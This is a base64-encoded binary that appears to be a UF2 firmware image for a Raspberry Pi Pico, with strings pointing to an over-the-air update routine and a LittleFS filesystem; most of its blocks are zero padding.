BHgALBPQBQAOeAAuCdCmQgvQCwAB4KJCB9ABMxp4ACr50QE1LHgALO/RKBpwvQAg/OdwtQR4ACwU
0AUADngALgnQpkIJ0AsAAeCiQgXQATMaeAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAwb7EKVUYyCldRXZ4AIAAAACQAEAABAAAkAAAAAwEAAFb/i+QAKvnR
KBpwvQE1LHgALO3R+OcAIPfnwEb4tcBGCEoQtRN4ACsK0YAjBkgHSVsFHGjEUAQzi0L60QEjE3AQ
vcBG+VAAIOwoABAAAQAQELUCSwEzmEcQvcBG7CgAIIAj8LVCGAQADQCFsFsEmkIB2f33ev8UJxgm
OIgziBJJmEcziAOQEUk4iJhHM4gCkA9JOIiYRzOIDkkBkDiImEcGAP/3vf8Dm5hHApuYR4AiIADY
IykAUgIBnKBHsEf/98f/BbDwvcBGSUYAAEVYAABSRQAARkMAAIAj8LUXAIWwghgEAAORWwSaQgHZ
/fc9/xQmGCUwiCuIEEmYRyuIApAPSTCIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAADBvsQpVRjIKV1FdngAgAAAAJQAQAAEAACUAAAADAQAAVv+L5JhHK4gB
kA5JMIiYRyuIDUkAkDCImEcFAP/3gP8Cm5hHAZuYRzoAIAADmQCbmEeoR//3jP8FsPC9SUYAAEVY
AABSUAAARkMAAFBpY28gT1RBAG90YWNvbW1hbmQuYmluAC8ALi4AbGl0dGxlZnMAAAD/////////
/wAAAABkELcdyCBuO6ww2SaQQdx29FFra1hhsk08cQVQIIO47USTD/Doo9bWjLNhy7DCZJvU0tOG
eOIKoBzyvb0QERIACAcJBgoFCwQMAw0CDgEPAAEAAgADAAQABQAHAAkADQARABkAIQAxAEEAYQCB
AMEAAQGBAQECAQMBBAEGAQgBDAEQARgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAMG+xClVGMgpXUV2eACAAAAAmABAAAQAAJgAAAAMBAABW/4vkASABMAFA
AWAAAAAAAQECAgMDBAQFBQYGBwcICAkJCgoLCwwMDQ0DAAQABQAGAAcACAAJAAoACwANAA8AEQAT
ABcAGwAfACMAKwAzADsAQwBTAGMAcwCDAKMAwwDjAAIBAAAAAAAAAAAAAAEBAQECAgICAwMDAwQE
BAQFBQUFAAD0LwAQ8C8AEPg+ACAAAAAAAAAAAPlPACAAAAAAAAAAABAAAAAAAAAAAAAAAFAzAABM
MwAAVDMAAFIzAABNUwAATUMAAFM0AABDNAAAAAAAAAAAAACFIAAg+R4AIHkfACD9HwAgOQEAIAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAwb7EKVUYyCldRXZ4AIAAAACcAEAABAAAnAAAAAwEAAFb/i+QAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAADBvsQpVRjIKV1FdngAgAAAAKAAQAAEAACgAAAADAQAAVv+L5AAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAMG+xClVGMgpXUV2eACAAAAApABAAAQAAKQAAAAMBAABW/4vkAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAwb7EKVUYyCldRXZ4AIAAAACoAEAABAAAqAAAAAwEAAFb/i+QAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAADBvsQpVRjIKV1FdngAgAAAAKwAQAAEAACsAAAADAQAAVv+L5AAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAMG+xClVGMgpXUV2eACAAAAAsABAAAQAALAAAAAMBAABW/4vkAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAwb7EKVUYyCldRXZ4AIAAAAC0AEAABAAAtAAAAAwEAAFb/i+QAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAADBvsQpVRjIKV1FdngAgAAAALgAQAAEAAC4AAAADAQAAVv+L5AAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAMG+xClVGMgpXUV2eACAAAAAvABAAAQAALwAAAAMBAABW/4vkAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPAf
EADwHxAA8B8QAPAfAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
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
